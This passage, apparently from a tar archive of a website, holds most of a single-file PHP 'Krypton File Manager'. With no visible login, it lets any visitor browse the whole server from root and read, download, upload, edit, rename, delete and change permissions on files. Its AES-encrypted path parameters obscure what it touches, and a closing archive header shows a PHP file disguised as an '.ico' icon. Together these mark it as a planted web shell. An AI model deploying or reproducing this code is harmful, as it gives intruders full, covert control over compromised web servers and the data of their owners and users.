        $iv = base64_decode($iv_b64);
        
        if ($iv === false || strlen($iv) !== 16) {
            return getcwd(); // Default to current directory if IV is invalid
        }
        
        $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
        
        if ($decrypted === false) {
            return getcwd(); // Default to current directory if decryption fails
        }
        
        return $decrypted;
    } catch (Exception $e) {
        return getcwd(); // Default to current directory on any exception
    }
}

// Function to get human-readable file size
function formatFileSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// Function to get file permissions in Unix format
function getFilePermissions($file) {
    $perms = fileperms($file);
    
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
                (($perms & 0x0800) ? 's' : 'x' ) :
                (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
                (($perms & 0x0400) ? 's' : 'x' ) :
                (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
                (($perms & 0x0200) ? 't' : 'x' ) :
                (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

// Function to get file extension
function getFileExtension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

// Function to check if a file is editable
function isEditableFile($filename) {
    /*
    $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
    $extension = getFileExtension($filename);
    return in_array($extension, $editableExtensions);
    */
    return true;
}

// Process actions
$error = '';
$success = '';

// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path

// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
    $currentPath = $_SESSION['current_path'];
}

// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Store current path for form submissions
    if (isset($_POST['current_path'])) {
        $decryptedCurrentPath = decryptPath($_POST['current_path']);
        if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
            $currentPath = $decryptedCurrentPath;
            $_SESSION['current_path'] = $currentPath;
        }
    }
    
    if (isset($_POST['action'])) {
        // Handle file content request for editing
        if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
            $filePath = decryptPath($_POST['path']);
            if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
                echo file_get_contents($filePath);
                exit;
            } else {
                echo "Error: Cannot read file.";
                exit;
            }
        }
        
        // Handle navigation
        if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
            $decryptedPath = decryptPath($_POST['path']);
            if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
                $currentPath = $decryptedPath;
                $_SESSION['current_path'] = $currentPath;
            }
        }
        
        // Handle file download
        if ($_POST['action'] === 'download' && isset($_POST['path'])) {
            $downloadPath = decryptPath($_POST['path']);
            
            if (file_exists($downloadPath) && !is_dir($downloadPath)) {
                // Set headers for file download
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
                header('Content-Transfer-Encoding: binary');
                header('Expires: 0');
                header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                header('Pragma: public');
                header('Content-Length: ' . filesize($downloadPath));
                ob_clean();
                flush();
                readfile($downloadPath);
                exit;
            }
        }
    }
    
    // Handle file upload
    if (isset($_POST['upload'])) {
        if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
            $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
            
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
                $success = 'File uploaded successfully.';
            } else {
                $error = 'Failed to upload file.';
            }
        } else {
            $error = 'No file selected or upload error.';
        }
    }
    
    // Handle file/directory deletion
    if (isset($_POST['delete']) && isset($_POST['path'])) {
        $deletePath = decryptPath($_POST['path']);
        
        if (file_exists($deletePath)) {
            if (is_dir($deletePath)) {
                // Try to remove directory
                if (rmdir($deletePath)) {
                    $success = 'Directory deleted successfully.';
                } else {
                    $error = 'Failed to delete directory. It may not be empty.';
                }
            } else {
                // Remove file
                if (unlink($deletePath)) {
                    $success = 'File deleted successfully.';
                } else {
                    $error = 'Failed to delete file.';
                }
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file/directory rename
    if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
        $oldPath = decryptPath($_POST['oldPath']);
        $newName = $_POST['newName'];
        $dirName = dirname($oldPath);
        $newPath = $dirName . '/' . $newName;
        
        if (file_exists($oldPath)) {
            if (rename($oldPath, $newPath)) {
                $success = 'Renamed successfully.';
            } else {
                $error = 'Failed to rename.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle permission change
    if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
        $permPath = decryptPath($_POST['permPath']);
        $permissions = $_POST['permissions'];
        
        // Convert from octal string to integer
        $mode = octdec($permissions);
        
        if (file_exists($permPath)) {
            if (chmod($permPath, $mode)) {
                $success = 'Permissions changed successfully.';
            } else {
                $error = 'Failed to change permissions.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file edit
    if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
        $filePath = decryptPath($_POST['filePath']);
        $fileContent = $_POST['fileContent'];
        
        if (file_exists($filePath) && !is_dir($filePath)) {
            if (file_put_contents($filePath, $fileContent) !== false) {
                $success = 'File saved successfully.';
            } else {
                $error = 'Failed to save file.';
            }
        } else {
            $error = 'File does not exist.';
        }
    }
    
    // Handle create new file
    if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
        $newFileName = $_POST['newFileName'];
        $newFilePath = $currentPath . '/' . $newFileName;
        
        if (!file_exists($newFilePath)) {
            if (file_put_contents($newFilePath, '') !== false) {
                $success = 'File created successfully.';
            } else {
                $error = 'Failed to create file.';
            }
        } else {
            $error = 'File already exists.';
        }
    }
    
    // Handle create new folder
    if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
        $newFolderName = $_POST['newFolderName'];
        $newFolderPath = $currentPath . '/' . $newFolderName;
        
        if (!file_exists($newFolderPath)) {
            if (mkdir($newFolderPath, 0755)) {
                $success = 'Folder created successfully.';
            } else {
                $error = 'Failed to create folder.';
            }
        } else {
            $error = 'Folder already exists.';
        }
    }
}

// Save current path to session
$_SESSION['current_path'] = $currentPath;

// Get directory contents
$items = [];
if (is_dir($currentPath)) {
    if ($handle = opendir($currentPath)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $fullPath = $currentPath . '/' . $entry;
                $isDir = is_dir($fullPath);
                
                try {
                    $size = $isDir ? '-' : formatFileSize(filesize($fullPath));
                    $permissions = getFilePermissions($fullPath);
                    $lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
                    
                    $items[] = [
                        'name' => $entry,
                        'path' => $fullPath,
                        'encryptedPath' => encryptPath($fullPath),
                        'isDirectory' => $isDir,
                        'size' => $size,
                        'permissions' => $permissions,
                        'lastModified' => $lastModified,
                        'isEditable' => !$isDir && isEditableFile($entry)
                    ];
                } catch (Exception $e) {
                    // Skip files that can't be accessed
                    continue;
                }
            }
        }
        closedir($handle);
    }
}

// Sort items: directories first, then files
usort($items, function($a, $b) {
    if ($a['isDirectory'] && !$b['isDirectory']) {
        return -1;
    }
    if (!$a['isDirectory'] && $b['isDirectory']) {
        return 1;
    }
    return strcasecmp($a['name'], $b['name']);
});

// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';

foreach ($pathParts as $part) {
    if (empty($part)) {
        $buildPath = '/';
        $breadcrumbs[] = [
            'name' => 'Root',
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    } else {
        $buildPath .= ($buildPath === '/') ? $part : '/' . $part;
        $breadcrumbs[] = [
            'name' => $part,
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    }
}

// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);

// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Krypton File Manager</title>
    <style>
        /* Base styles and reset */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
        }
        
        body {
            background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            background-color: #f9f9f9;
            /* Fallback color */
            color: #333333;
            line-height: 1.6;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        /* Navigation bar */
        .navbar {
            background-color: #ffffff;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 15px 0;
            position: sticky;
            top: 0;
            z-index: 100;
        }
        
        .navbar-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        
        .navbar h1 {
            color: #333333;
            font-size: 1.5rem;
            font-weight: 500;
        }
        
        .version {
            font-size: 0.8rem;
            color: #777;
            margin-left: 10px;
        }
        
        .navbar-actions {
            display: flex;
            gap: 10px;
        }
        
        .home-btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 8px 15px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            transition: all 0.2s ease;
        }
        
        .home-btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .home-icon {
            margin-right: 5px;
        }
        
        /* Breadcrumb navigation */
        .breadcrumb {
            display: flex;
            align-items: center;
            padding: 12px 0;
            margin-bottom: 15px;
            overflow-x: auto;
            white-space: nowrap;
        }
        
        .breadcrumb-item {
            display: flex;
            align-items: center;
        }
        
        .breadcrumb-item a {
            color: #4a6cf7;
            text-decoration: none;
            padding: 5px 8px;
            border-radius: 4px;
            transition: background-color 0.2s;
            cursor: pointer;
        }
        
        .breadcrumb-item a:hover {
            background-color: rgba(74, 108, 247, 0.1);
        }
        
        .breadcrumb-separator {
            margin: 0 5px;
            color: #999;
        }
        
        .breadcrumb-current {
            font-weight: 500;
            padding: 5px 8px;
        }
        
        /* Section styling */
        .section {
            background-color: rgba(255, 255, 255, 0.9);
            border-radius: 8px;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
        }
        
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
        }
        
        .section-title {
            font-size: 1.1rem;
            color: #333333;
            font-weight: 500;
        }
        
        .section-actions {
            display: flex;
            gap: 10px;
        }
        
        /* Upload form */
        .upload-form {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
        }
        
        .upload-form input[type="file"] {
            flex: 1;
            min-width: 200px;
            padding: 10px;
            border: 1px solid #e0e0e0;
            border-radius: 6px;
            background-color: #ffffff;
        }
        
        .btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            transition: all 0.2s ease;
        }
        
        .btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .btn-sm {
            padding: 6px 12px;
            font-size: 0.9rem;
        }
        
        .btn-success {
            background-color: #28a745;
        }
        
        .btn-success:hover {
            background-color: #218838;
        }
        
        /* File list table */
        .file-table-container {
            overflow-x: auto;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
        }
        
        .file-table th {
            background-color: #f5f5f5;
            padding: 12px 15px;
            text-align: left;
            font-weight: 500;
            border-bottom: 1px solid #e0e0e0;
            position: relative;
        }
        
        .file-table td {
            padding: 12px 15px;
            border-bottom: 1px solid #e0e0e0;
        }
        
        .file-table tr:hover {
            background-color: #f5f7ff;
        }
        
        .file-name {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .folder-icon::before {
            content: "📁";
        }
        
        .file-icon::before {
            content: "📄";
        }
        
        /* Action buttons */
        .action-buttons {
            display: flex;
            gap: 8px;
        }
        
        .action-btn {
            background: none;
            border: none;
            cursor: pointer;
            font-size: 1rem;
            color: #555;
            transition: all 0.2s ease;
            width: 28px;
            height: 28px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 4px;
        }
        
        .action-btn:hover {
            background-color: #f0f0f0;
            color: #333;
        }
        
        /* Modal styles */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        
        .modal-content {
            background-color: white;
            padding: 25px;
            border-radius: 8px;
            width: 90%;
            max-width: 400px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
        }
        
        .modal-content.modal-lg {
            max-width: 800px;
            height: 80%;
            display: flex;
            flex-direction: column;
        }
        
        .modal-title {
            font-size: 1.2rem;
            margin-bottom: 15px;
            font-weight: 500;
        }
        
        .modal-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .editor-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
            flex-grow: 1;
        }
        
        .form-group {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }
        
        .form-group label {
            font-weight: 500;
        }
        
        .form-group input {
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        
        .form-group textarea {
            flex-grow: 1;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            resize: none;
        }
        
        .modal-actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 20px;
        }
        
        .btn-cancel {
            background-color: #f0f0f0;
            color: #333;
        }
        
        .btn-cancel:hover {
            background-color: #e0e0e0;
        }
        
        /* Alerts */
        .alert {
            padding: 12px 15px;
            margin-bottom: 15px;
            border-radius: 4px;
            font-weight: 500;
        }
        
        .alert-success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .alert-error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .alert-warning {
            background-color: #fff3cd;
            color: #856404;
            border: 1px solid #ffeeba;
        }
        
        /* Footer */
        .footer {
            text-align: center;
            padding: 20px 0;
            color: #777;
            font-size: 0.9rem;
        }
        
        /* Loading overlay */
        .loading-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }
        
        .spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #f3f3f3;
            border-top: 5px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        /* Responsive design */
        @media (max-width: 768px) {
            .upload-form {
                flex-direction: column;
                align-items: stretch;
            }
            
            .upload-form input[type="file"] {
                width: 100%;
            }
            
            .action-buttons {
                flex-wrap: wrap;
            }
            
            .section-header {
                flex-direction: column;
                align-items: flex-start;
                gap: 10px;
            }
            
            .section-actions {
                width: 100%;
            }
            
            .btn {
                width: 100%;
            }
        }
    </style>
</head>
<body>
    <!-- Loading Overlay -->
    <div id="loadingOverlay" class="loading-overlay">
        <div class="spinner"></div>
    </div>

    <!-- Navigation Bar -->
    <nav class="navbar">
        <div class="container navbar-content">
            <h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
            <div class="navbar-actions">
                <button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
                    <span class="home-icon">🏠</span> Home
                </button>
            </div>
        </div>
    </nav>
    
    <div class="container">
        <!-- Alerts -->
        <?php if (!empty($encryptionKeyWarning)): ?>
        <div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($success)): ?>
        <div class="alert alert-success"><?php echo $success; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($error)): ?>
        <div class="alert alert-error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <!-- Breadcrumb Navigation -->
        <div class="breadcrumb">
            <?php foreach ($breadcrumbs as $index => $crumb): ?>
                <?php if ($index > 0): ?>
                    <span class="breadcrumb-separator">›</span>
                <?php endif; ?>
                
                <div class="breadcrumb-item">
                    <?php if ($index === count($breadcrumbs) - 1): ?>
                        <span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
                    <?php else: ?>
                        <a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
        
        <!-- Upload Section -->
        <section class="section">
            <h2 class="section-title">Upload Files</h2>
            <form class="upload-form" method="post" enctype="multipart/form-data">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="file" name="file">
                <button type="submit" name="upload" class="btn">Upload File</button>
            </form>
        </section>
        
        <!-- File List Section -->
        <section class="section">
            <div class="section-header">
                <h2 class="section-title">Files</h2>
                <div class="section-actions">
                    <button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
                    <button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
                </div>
            </div>
            <div class="file-table-container">
                <table class="file-table">
                    <thead>
                        <tr>
                            <th>Filename</th>
                            <th>Size</th>
                            <th>Permissions</th>
                            <th>Last Modified</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Parent directory link -->
                        <?php if ($currentPath !== '/'): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="folder-icon"></span>
                                    <a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
                                </div>
                            </td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                        </tr>
                        <?php endif; ?>
                        
                        <!-- File list -->
                        <?php foreach ($items as $item): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
                                    <?php if ($item['isDirectory']): ?>
                                        <a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
                                    <?php else: ?>
                                        <?php echo htmlspecialchars($item['name']); ?>
                                    <?php endif; ?>
                                </div>
                            </td>
                            <td><?php echo $item['size']; ?></td>
                            <td><?php echo $item['permissions']; ?></td>
                            <td><?php echo $item['lastModified']; ?></td>
                            <td>
                                <div class="action-buttons">
                                    <?php if (!$item['isDirectory']): ?>
                                        <button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
                                        <?php if ($item['isEditable']): ?>
                                            <button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                    <button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
                                    <button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
                                    <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
                                        <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                                        <input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
                                        <button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
                                    </form>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </section>
        
        <footer class="footer">
            Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
        </footer>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="renameOldPath" name="oldPath" value="">
                <div class="form-group">
                    <label for="renameNewName">New Name:</label>
                    <input type="text" id="renameNewName" name="newName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
                    <button type="submit" name="rename" class="btn">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Permissions Modal -->
    <div id="permissionsModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="permissionsPath" name="permPath" value="">
                <div class="form-group">
                    <label for="permissionsOctal">Permissions (Octal):</label>
                    <input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
                    <button type="submit" name="changePermissions" class="btn">Apply</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Edit File Modal -->
    <div id="editFileModal" class="modal">
        <div class="modal-content modal-lg">
            <h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
            <form class="editor-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="editFilePath" name="filePath" value="">
                <div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
                    <textarea id="fileContent" name="fileContent" required></textarea>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
                    <button type="submit" name="saveFile" class="btn">Save</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create File Modal -->
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New File</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFileName">File Name:</label>
                    <input type="text" id="newFileName" name="newFileName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
                    <button type="submit" name="createFile" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New Folder</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFolderName">Folder Name:</label>
                    <input type="text" id="newFolderName" name="newFolderName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
                    <button type="submit" name="createFolder" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Hidden form for navigation -->
    <form id="navigationForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="navigate">
        <input type="hidden" id="navigationPath" name="path" value="">
    </form>
    
    <!-- Hidden form for download -->
    <form id="downloadForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="download">
        <input type="hidden" id="downloadPath" name="path" value="">
    </form>
    
    <script>
        // Show loading overlay
        function showLoading() {
            document.getElementById('loadingOverlay').style.display = 'flex';
        }
        
        // Hide loading overlay
        function hideLoading() {
            document.getElementById('loadingOverlay').style.display = 'none';
        }
        
        // Navigation function
        function navigateTo(path) {
            showLoading();
            document.getElementById('navigationPath').value = path;
            document.getElementById('navigationForm').submit();
        }
        
        // Download function
        function downloadFile(path) {
            document.getElementById('downloadPath').value = path;
            document.getElementById('downloadForm').submit();
        }
        
        // Show rename modal
        function showRenameModal(path, name) {
            document.getElementById('renameFileName').textContent = name;
            document.getElementById('renameOldPath').value = path;
            document.getElementById('renameNewName').value = name;
            document.getElementById('renameModal').style.display = 'flex';
        }
        
        // Show permissions modal
        function showPermissionsModal(path, name) {
            document.getElementById('permissionsFileName').textContent = name;
            document.getElementById('permissionsPath').value = path;
            document.getElementById('permissionsModal').style.display = 'flex';
        }
        
        // Show edit file modal
        function showEditFileModal(path, name) {
            document.getElementById('editFileName').textContent = name;
            document.getElementById('editFilePath').value = path;
            
            showLoading();
            
            // Fetch file content using POST
            const formData = new FormData();
            formData.append('action', 'getContent');
            formData.append('path', path);
            
            fetch(window.location.pathname, {
                method: 'POST',
                body: formData
            })
            .then(response => response.text())
            .then(content => {
                document.getElementById('fileContent').value = content;
                document.getElementById('editFileModal').style.display = 'flex';
                hideLoading();
            })
            .catch(error => {
                hideLoading();
                alert('Error loading file content: ' + error);
            });
        }
        
        // Show create file modal
        function showCreateFileModal() {
            document.getElementById('newFileName').value = '';
            document.getElementById('createFileModal').style.display = 'flex';
        }
        
        // Show create folder modal
        function showCreateFolderModal() {
            document.getElementById('newFolderName').value = '';
            document.getElementById('createFolderModal').style.display = 'flex';
        }
        
        // Hide modal
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        // Close modals when clicking outside
        window.onclick = function(event) {
            if (event.target.className === 'modal') {
                event.target.style.display = 'none';
            }
        }
        
        // Add loading indicator to form submissions
        document.addEventListener('DOMContentLoaded', function() {
            const forms = document.querySelectorAll('form');
            forms.forEach(form => {
                form.addEventListener('submit', function() {
                    // Don't show loading for the navigation and download forms
                    if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
                        showLoading();
                    }
                });
            });
        });
    </script>
</body>
</html>rest-api/MCgfNv.ico000066600000013542151134717130010120 0ustar00<?php
